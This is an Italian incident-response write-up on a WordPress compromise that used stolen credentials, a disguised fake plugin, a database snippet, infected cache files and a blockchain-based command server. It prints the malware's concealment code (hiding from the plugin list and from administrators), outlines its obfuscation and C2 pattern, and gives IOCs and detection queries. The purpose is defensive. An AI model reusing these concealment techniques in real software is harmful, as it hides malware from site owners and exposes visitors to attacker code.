Tre Minuti e 44 Secondi: Anatomia di una Compromissione WordPress

Pubblicato il 17 August 2026 Aggiornato il 20 August 2026 13 visualizzazioni

TRE MINUTI E QUARANTAQUATTRO SECONDI

Anatomia di una compromissione WordPress con centro di comando su blockchain

Il caso che segue è reale. Riguarda il sito di una piccola azienda italiana, ospitato su un piano di hosting condiviso, ed è stato analizzato nell'agosto 2026 a seguito della sospensione del servizio da parte del provider. Nome, dominio e settore sono stati omessi; restano intatti i dettagli tecnici, gli orari e gli indicatori di compromissione, perché è lì che sta il valore per chi legge.

Non è una storia di exploit sofisticati. È una storia di una password, e di tre posti diversi in cui lo stesso codice malevolo si era annidato. Il terzo di quei posti è quello che, in una bonifica frettolosa, sarebbe sopravvissuto a tutto.

1. La porta era già aperta da tre settimane

La prima cosa che i log raccontano non è l'attacco. È il collaudo.

Il 21 luglio alle 21:31:45 UTC un server statunitense richiede la pagina di login. Un secondo dopo invia le credenziali e riceve un 302: accesso riuscito. Nessun tentativo a vuoto, nessuna sequenza di prove. La password era corretta al primo colpo perché era già nota.

Due secondi più tardi la macchina chiede l'elenco dei plugin e lo riceve per intero — quasi 300 KB di pagina che solo un amministratore autenticato può vedere. Poi cerca ordini di un negozio elettronico, statistiche di vendita dell'anno, del mese. Non trova nulla: su quel sito WooCommerce non esiste. Il server risponde con una sequenza di 403 e 500. La macchina insiste, ripete tutto altre due volte, e se ne va senza modificare nulla.

La sera seguente, alla stessa ora, la scena si ripete con una variante istruttiva:

Orario UTC Indirizzo Esito
22/07 21:31:17 209.50.187.125 Accesso riuscito
22/07 21:31:18 65.111.31.155 Accesso riuscito, un secondo dopo
22/07 21:31:29 209.50.169.103 Accesso riuscito, dodici secondi dopo il primo

Tre macchine diverse, la stessa password, dodici secondi. Nessuna persona si collega da tre computer in dodici secondi. E tutte e tre appartengono allo stesso sistema autonomo (AS200373).

È il funzionamento ordinario del mercato delle credenziali sottratte: chi le raccoglie le collauda e le rivende, chi le acquista le sfrutta in un secondo momento. Fra il collaudo e lo sfruttamento, in questo caso, sono passate tre settimane durante le quali il titolare ha continuato a lavorare sul proprio sito ogni mattina, senza alcun motivo di sospettare che qualcun altro possedesse le sue chiavi.

2. L'11 agosto: prima le macchine, poi una persona

Alle 12:46:30 UTC riprende la ricognizione automatica, da altri due indirizzi. Un dettaglio merita attenzione: l'User-Agent cambia a ogni singola richiesta, alternando curl/7.88.1, curl/8.6.0 e Wget/1.21.4 all'interno della stessa sessione autenticata. È un accorgimento elementare per confondere i filtri, e paradossalmente costituisce esso stesso una firma perfettamente riconoscibile: nessun client legittimo si comporta così.

Poi mezz'ora di silenzio. Alle 13:19:50 la pagina di login viene aperta da un browser vero — Chrome su Windows — da un indirizzo olandese. I tempi cambiano: undici secondi per digitare le credenziali, due per attendere il caricamento della dashboard. Alle 13:20:03 è dentro.

Quello che segue è la sequenza completa, ricostruita dai log:

Ora UTC Azione
13:21:21 Apre la pagina di installazione plugin
13:21:22 Enumera gli utenti registrati e apre il proprio profilo
13:21:33 Carica un plugin via update.php?action=upload-plugin
13:21:38 Tenta l'attivazione — errore 500, fallisce
13:21:50 Tenta di declassare tutti gli utenti a subscriber — respinto
13:22:01 Modifica il profilo dell'amministratore
13:22:13 Apre il gestore di snippet di codice già installato sul sito
13:22:42 Salva uno snippet — il payload entra nel database
13:22:57 Primo file di cache infetto generato: l'iniezione è operativa
13:23:45 Ultima richiesta della sessione

Tre minuti e quarantaquattro secondi dall'accesso all'uscita.

Il tentativo delle 13:21:50 merita una nota: selezionare tutti gli utenti e assegnare loro il ruolo di semplice iscritto è un tentativo di estromettere gli altri amministratori. WordPress lo respinge, perché nessun utente può privare sé stesso dei propri privilegi, e restituisce update=err_admin_role. Quel messaggio d'errore resta nei log, ed è una delle prove più eloquenti dell'intenzione.

3. Il travestimento: un plugin che si cancella dall'elenco

Il file caricato si presentava come Contact Form 9, versione 6.1.9, autore «Rock Lobster Inc». Il camuffamento era curato: Rock Lobster è realmente la società dell'autore di Contact Form 7, plugin legittimo effettivamente installato su quel sito, e la descrizione era copiata parola per parola dall'originale.

Ma nessun amministratore lo avrebbe mai visto nell'elenco, per due ragioni scritte nel codice.

Si rimuove dalla lista dei plugin. Un filtro su all_plugins elimina sé stesso dal risultato prima che la pagina venga composta:

add_filter( 'all_plugins', function( $plugins ) {     unset( $plugins[ plugin_basename( __FILE__ ) ] );     return $plugins; }, 18 );

Non si mostra a chi potrebbe accorgersene. La funzione che inietta il codice esce immediatamente se il contesto è amministrativo o se l'utente collegato ha i permessi di gestione:

if ( is_admin() || ( is_user_logged_in() && current_user_can('manage_options') ) ) {     return; }

Il titolare poteva navigare il proprio sito quanto voleva senza vedere nulla di anomalo. Il codice ostile lo ricevevano soltanto i visitatori. È il motivo per cui infezioni di questo tipo restano attive per settimane: la persona che potrebbe accorgersene è esattamente quella a cui il malware si nasconde.

C'è però un dettaglio quasi comico: quel plugin non è mai stato attivo. L'attivazione delle 13:21:38 è fallita con un errore 500 e WordPress l'ha annullata. L'elenco active_plugins nel database non lo contiene. Tutto quel lavoro di camuffamento, e la componente che ha effettivamente operato è stata un'altra.

4. La componente che ha funzionato: lo snippet nel database

Alle 13:22:13 l'operatore apre un plugin legittimo, già presente sul sito e regolarmente usato dal cliente per inserire piccoli frammenti di codice nelle pagine — nel database ce n'erano altri sette, tutti autentici: disattivazione dei commenti, banner cookie, correzioni CSS per i moduli su mobile.

Ventinove secondi dopo ne aggiunge uno nuovo. Stato publish, posizione site_wide_header: nell'intestazione di ogni pagina del sito.

Non ha installato nulla. Ha usato uno strumento già presente e autorizzato per ospitare il proprio codice. Nessuna scansione antivirus del filesystem avrebbe potuto trovarlo, perché non è un file: è un record in una tabella.

Quando il provider ha messo in quarantena il finto plugin azzerandone i permessi, questa componente ha continuato a funzionare indisturbata. Una bonifica limitata ai file avrebbe restituito un sito apparentemente pulito e in realtà ancora infetto.

5. La terza componente, quella che nessuno cerca

Qui sta la lezione più utile dell'intero caso, e vale la pena raccontarla per come è emersa: non l'avevo trovata al primo passaggio.

La ricerca delle firme di offuscamento era stata condotta su --include="*.php". Ragionevole: le backdoor sono PHP. Solo che il payload, questa volta, era finito altrove.

Il sito usava un plugin di ottimizzazione che combina e minifica i JavaScript, salvando il risultato come file statici. Avendo lo snippet nell'intestazione di ogni pagina, l'ottimizzatore lo ha trattato come codice legittimo del sito e lo ha incorporato nei propri bundle. Ventuno file, il primo generato quindici secondi dopo il salvataggio dello snippet, l'ultimo tre giorni più tardi.

Sono file statici. Avrebbero continuato a servire il malware ai visitatori anche con il database ripulito e il plugin rimosso, finché la cache non fosse stata svuotata.

La bonifica richiedeva tre interventi, non due. Ometterne uno avrebbe prodotto un sito che supera ogni verifica superficiale e continua a infettare chi lo visita.

C'è un corollario metodologico. Cercare atob( o new Function( dentro i .js restituisce decine di riscontri: quelle funzioni compaiono in quasi tutte le librerie minificate legittime, incluse quelle di WordPress e dei principali page builder. Su quel sito il grep ingenuo produceva oltre cinquanta file «sospetti», tutti innocui.

L'unica ricerca affidabile è stata quella della sequenza Base64 specifica della campagna: ventuno riscontri, zero falsi positivi. In un'analisi di questo tipo, la firma giusta non è la più generica: è la più specifica che si possiede.

6. EtherHiding: il C2 che non si può spegnere

Il codice iniettato era offuscato in tre strati banali: stringa Base64, XOR di ogni byte con una chiave fissa, esecuzione via new Function(). Le due copie — quella nel plugin e quella nello snippet — usavano chiavi diverse (8 e 25) e nomi di variabili randomizzati, così che una singola firma antivirus non le riconoscesse entrambe. La ridondanza era deliberata.

Una volta decodificato, però, il payload rivela qualcosa di più interessante. Non contiene l'indirizzo del server di comando.

Contiene invece l'indirizzo di uno smart contract sulla blockchain Polygon. All'apertura della pagina, il browser del visitatore effettua una eth_call in sola lettura verso quel contratto, provando in sequenza otto nodi RPC pubblici finché uno risponde. Il contratto restituisce una stringa ABI-encoded: decodificata, è il dominio del C2. Da lì viene caricato lo script finale:

<script src="<DOMINIO-DAL-CONTRATTO>/api.php?s=<48-hex>&_v=<epoch-minuti>">

Il parametro s identifica la campagna o la vittima; _v è Date.now()/60000, cache-busting al minuto.

Questa tecnica è nota come EtherHiding, e le sue implicazioni difensive sono serie:

Conseguenza Perché
Il C2 non è rimuovibile La blockchain è immutabile e priva di autorità centrale. Nessun provider e nessuna autorità può cancellare quel contratto
Bloccare il dominio è inutile L'attaccante aggiorna il contratto e tutti i siti infetti puntano al nuovo dominio in pochi minuti, senza toccare un solo file
Il traffico sembra pulito Le chiamate ai nodi Polygon sono indistinguibili da quelle di una qualsiasi dApp legittima
Il payload è variabile Cambia nel tempo e può differire per visitatore in base a geolocalizzazione, user-agent o referrer

Una precisazione che conta: gli otto nodi RPC interrogati sono servizi assolutamente legittimi — Ankr, QuickNode, Tenderly, PublicNode, dRPC, BlastAPI, 1RPC, Nodies. Sono i normali endpoint pubblici della rete Polygon, usati da migliaia di applicazioni oneste. Non sono indicatori di compromissione e bloccarli non serve a nulla se non a rompere applicazioni legittime.

Ne discende una conseguenza scomoda: cosa sia stato effettivamente servito ai visitatori non è ricostruibile a posteriori. Le campagne che usano questa tecnica veicolano tipicamente falsi aggiornamenti del browser, infostealer, download drive-by o redirect a pagine di truffa — ma è una considerazione sulla famiglia, non una constatazione su questo caso. Il payload di allora non lo si recupera.

7. Cosa NON era stato compromesso

Circoscrivere il perimetro vale quanto individuare il malware: evita rimozioni inutili di file legittimi e definisce l'estensione reale del danno.

Il core di WordPress è risultato integro, verificato confrontando l'MD5 di ogni file con i checksum ufficiali della stessa versione e locale. wp-login.php era byte-identico all'originale: il sospetto di uno stealer di credenziali, iniziale e ragionevole, è caduto.

Tutti e 25 i plugin presenti sul repository ufficiale sono stati riscaricati nella medesima versione e confrontati ricorsivamente: quindici identici, gli altri differenti solo per file .min.css generati dall'ottimizzatore. Nessuna iniezione.

Nessun utente amministratore aggiunto, nessun cron ostile, nessun PHP nelle cartelle di upload, .htaccess puliti. E soprattutto: recuperate le date di modifica dei file, nell'intera finestra dell'intrusione risultavano modificati nove file, tutti riconducibili alle tre componenti descritte.

Un dato però pesa più di tutti gli altri. Sul sito era installato un noto plugin di sicurezza con firewall applicativo. Era disattivato, con il registro degli attacchi completamente vuoto. Nessun evento, mai. È il motivo per cui l'intrusione non ha prodotto un solo allarme e non è stata in alcun modo ostacolata.

8. La bonifica, nell'ordine in cui va fatta

L'ordine non è una preferenza organizzativa: è vincolante, e sbagliarlo vanifica il lavoro. Rimuovere il codice prima di aver chiuso l'accesso significa permettere a chi possiede ancora le credenziali di reinstallarlo. Svuotare la cache prima di aver ripulito il database significa vederla rigenerare infetta al primo visitatore.

Va anche detto che non c'era alcuna urgenza contraria: il sito era già sospeso, l'iniezione non raggiungeva più nessuno. Il costo di procedere con ordine era nullo, quello di perdere le prove definitivo.

Fase 0 — Congelare lo stato prima di toccarlo

Le operazioni di bonifica sono distruttive rispetto alle prove: rm cancella i file e le loro date, chmod altera i permessi, DELETE elimina i record. Nulla di tutto questo è ricostruibile dopo.

Prima di qualsiasi modifica sono stati acquisiti l'inventario completo del server e le impronte di ogni file di codice:

# Inventario integrale: data, dimensione, permessi, proprietario ssh -p PORTA utente@host \   'find ~/www -type f -printf "%T@\t%TY-%Tm-%Td %TH:%TM:%TS\t%s\t%m\t%U:%G\t%p\n"' \   > manifesto-remoto.tsv  # Impronte di tutti i file di codice ssh -p PORTA utente@host \   'find ~/www -type f \( -name "*.php" -o -name "*.js" -o -name "*.html" \) \    -readable -exec md5sum {} +' > hash-codice-remoto.txt

Questi due file pesano pochi megabyte e coprono il 100% del server. Sono serviti poi a dimostrare che i reperti conservati erano identici agli originali: 21 bundle su 21 verificati conformi, zero difformità.

Un dettaglio che vale la pena conoscere: il file in quarantena aveva permessi 0000, e con permessi azzerati nemmeno il proprietario può leggerlo. Un rsync lo salta in silenzio — motivo per cui il primo scaricamento del sito non lo conteneva. La sequenza corretta è registrare i permessi originali nel manifesto, poi find ~/www -type f ! -readable -exec chmod u+r {} +, poi acquisire. La modifica non distrugge la prova, perché la prova è già stata presa.

Fase 1 — Le credenziali, prima di tutto il resto

Password dell'amministratore, pannello di hosting, database e wp-config.php, FTP/SFTP. Rigenerazione delle otto chiavi di sicurezza in wp-config.php, che invalidano ogni cookie di autenticazione preesistente. Invalidazione delle sessioni attive — nel database ne risultavano cinque ancora aperte dall'attaccante, con IP e user-agent coincidenti al secondo con i log.

Verifica specifica delle application password: se ne fosse stata creata una durante la modifica del profilo delle 13:22:01, avrebbe consentito il rientro anche dopo il cambio della password principale. Nel caso in esame il record _application_passwords non esisteva, ma è un controllo che va fatto sempre.

Fase 2 — Il database

Due record, non uno. Lo snippet e la copia operativa che il plugin legge a ogni caricamento di pagina per effettuare l'iniezione: rimuovere solo il primo lascia la seconda a lavorare.

-- 1. Verifica preliminare: deve restituire ESATTAMENTE una riga SELECT ID, post_title, post_status, post_date   FROM wp_posts WHERE ID = <ID> AND post_type = 'wpcode';  -- 2. Controllo di sicurezza: elencare TUTTI gli snippet prima di cancellare SELECT ID, post_title, post_status, post_date   FROM wp_posts WHERE post_type = 'wpcode' ORDER BY ID;  -- 3. Rimozione (la condizione su post_type è una protezione) DELETE FROM wp_postmeta WHERE post_id = <ID>; DELETE FROM wp_posts    WHERE ID = <ID> AND post_type = 'wpcode';  -- 4. La copia operativa: senza questa l'iniezione continua DELETE FROM wp_options WHERE option_name = 'wpcode_snippets';  -- 5. Verifica finale: entrambe devono restituire 0 SELECT COUNT(*) FROM wp_posts   WHERE ID = <ID>; SELECT COUNT(*) FROM wp_options WHERE option_name = 'wpcode_snippets';

Il passo 2 non è formalità. Su quel sito c'erano otto snippet, sette dei quali legittimi e in uso dal cliente. Cancellare l'intera tabella «per sicurezza» avrebbe rotto il banner cookie e la disattivazione dei commenti. L'opzione wpcode_snippets viene invece ricostruita automaticamente dal plugin al primo caricamento, a partire dai soli snippet rimasti.

Fase 3 — I file, senza cancellare nulla

Nessun rm. Tutto ciò che viene rimosso finisce in una cartella di quarantena fuori dalla webroot, da cui resta integralmente recuperabile se emergesse la necessità di riesaminarlo:

QUARANTENA="$HOME/quarantena-$(date +%Y%m%d-%H%M%S)" mkdir -p "$QUARANTENA"  # il plugin fittizio mkdir -p "$QUARANTENA/wp-content/plugins" mv wp-content/plugins/contact-form-9 "$QUARANTENA/wp-content/plugins/"  # residui che espongono informazioni: phpinfo, script diagnostici, # file temporanei del pannello rimasti orfani mv phpinfo.php test_email.php "$QUARANTENA/" 2>/dev/null

Fase 4 — La cache, e solo adesso

Questo passaggio ha senso soltanto dopo la Fase 2. Con lo snippet ancora nel database, la cache si rigenera infetta nel giro di secondi — esattamente come era accaduto l'11 agosto.

# Quanti file di cache contengono il payload # (firma specifica della campagna: nessun falso positivo) grep -rl 'FIRMA_BASE64_CAMPAGNA' wp-content/uploads/CARTELLA-CACHE/ | wc -l  # Copia dei soli file infetti come reperto, poi svuotamento integrale grep -rl 'FIRMA_BASE64_CAMPAGNA' wp-content/uploads/CARTELLA-CACHE/ \   | while read -r f; do cp "$f" "$QUARANTENA/"; done find wp-content/uploads/CARTELLA-CACHE/ -type f -delete

Va svuotata anche la cache lato server — NGINX, Memcached, il pannello dell'hosting — che non risiede nel filesystem del sito e che nessuno script raggiunge. È il passaggio che si dimentica più facilmente, ed è quello che continuerebbe a servire pagine memorizzate.

Fase 5 — Verificare, non supporre

# La firma non deve comparire da nessuna parte, in NESSUN tipo di file grep -rl 'FIRMA_BASE64_CAMPAGNA' ~/www/  # Integrità del core rispetto ai checksum ufficiali wp core verify-checksums  # Controllo da visitatore anonimo: il codice si nascondeva agli admin, # quindi qualsiasi verifica da loggati è priva di valore curl -s https://IL-SITO/ | grep -c 'FIRMA_BASE64_CAMPAGNA'

La conferma più solida è arrivata da sola. A bonifica completata, l'ottimizzatore ha rigenerato spontaneamente un nuovo bundle JavaScript da 1 MB, e quel file era pulito. È la prova che la catena era davvero chiusa: se un residuo fosse rimasto nel database, si sarebbe ricreato infetto come tutti i precedenti. Una verifica che il sistema esegue da sé vale più di qualunque controllo manuale.

9. Cosa portarsi a casa

Il vettore non era tecnico. Nessuna CVE, nessun plugin vulnerabile, nessun upload arbitrario. Una password valida, usata come l'avrebbe usata il proprietario. Questo sposta il baricentro della difesa dalla manutenzione del software alla gestione delle credenziali e alla sicurezza delle postazioni da cui si amministra il sito. Se l'origine della fuga è un infostealer sul computer di chi pubblica gli articoli, cambiare la password senza bonificare quel computer significa consegnare all'attaccante anche la nuova.

Il 2FA non è un adempimento burocratico. Tutti gli accessi riusciti documentati in questo caso sono avvenuti con la password corretta. Nessuna rotazione periodica delle credenziali, nessuna lista di IP bloccati, nessun WAF ferma chi possiede la chiave giusta. Un secondo fattore sì.

Cercare il malware solo nei file è insufficiente. In questo caso il payload viveva in tre luoghi: il filesystem (dove non era nemmeno attivo), il database (dove operava davvero) e la cache generata (dove sarebbe sopravvissuto alla bonifica). Un antivirus che scansiona la webroot li avrebbe trovati uno su tre — e il meno importante.

Verificare da utente non autenticato. Ogni controllo del tipo «il sito mi sembra a posto» fatto da amministratore collegato è, per costruzione, privo di valore contro questa famiglia di malware. Finestra anonima, o curl.

Le date dei file sono una prova, se sopravvivono. Il primo scaricamento del sito, effettuato con un client SFTP grafico, aveva perso tutti gli mtime: metà dell'analisi temporale era diventata impossibile. Rifacendo l'acquisizione con rsync -a le date sono tornate, e con esse la possibilità di isolare i nove file toccati durante l'intrusione — con orari coincidenti al secondo con le richieste nei log. Due fonti indipendenti che si confermano a vicenda valgono molto più di una sola fonte dettagliata.

10. Indicatori di compromissione

Per chi volesse verificare i propri siti. Sono indicatori dell'infrastruttura dell'attaccante, non della vittima.

Tipo Valore
Contratto Polygon 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2
Selettore del metodo 0xb68d1809
ID campagna ccb41636296169d7f3694c14278c71af6279af9c3e8d68ea
Flag globali JS _6da95b6804 · _9a93521151
Pattern URL /api.php?s=<48-hex>&_v=<epoch-minuti>
Plugin fittizio contact-form-9 — «Contact Form 9» v6.1.9, «Rock Lobster Inc»

Ricerche utili, da adattare al proprio ambiente:

# Firma dell'offuscamento nei file PHP grep -rEl "atob\(|new Function\(|TextDecoder" ~/www/ --include="*.php"  # PHP dentro le cartelle di upload: quasi mai legittimo find ~/www/ -path "*/uploads/*" -name "*.php"  # Snippet di codice offuscato salvati nel database SELECT ID, post_title, post_status, post_date FROM wp_posts  WHERE post_type = 'wpcode'    AND (post_content LIKE '%atob(%' OR post_content LIKE '%new Function%');  # Opzioni con payload SELECT option_name, LEFT(option_value, 200) FROM wp_options  WHERE option_value LIKE '%atob(%' OR option_value LIKE '%eth_call%';

Avvertenza. Il contratto si può interrogare in sola lettura per leggere il dominio C2 attualmente configurato: è una eth_call verso un nodo pubblico, non contatta l'infrastruttura dell'attaccante. Il dominio che ne esce, però, non va visitato — né con il browser né con curl. È il server dell'attaccante: si annota come indicatore, non si interroga.

Epilogo

L'esposizione è durata dall'11 agosto alle 13:22 fino alla sospensione del servizio il 15 agosto: tre giorni e quindici ore, circa 4.400 pagine servite. Per tutto quel tempo ogni visitatore ha ricevuto nel proprio browser codice controllato da un terzo. Non è un'infezione confinata al server: ha raggiunto i dispositivi di persone che si erano rivolte a quel sito.

La bonifica ha richiesto la rimozione delle tre componenti, la sostituzione integrale delle credenziali e la riattivazione delle difese. La verifica più convincente è arrivata da sola: a bonifica completata, l'ottimizzatore ha rigenerato spontaneamente i propri bundle JavaScript, e quei file erano puliti. Se un residuo fosse rimasto nel database, si sarebbero ricreati infetti.

Resta il fatto che l'intera vicenda è cominciata tre settimane prima dell'attacco, con una password che qualcuno, da qualche parte, aveva già in tasca.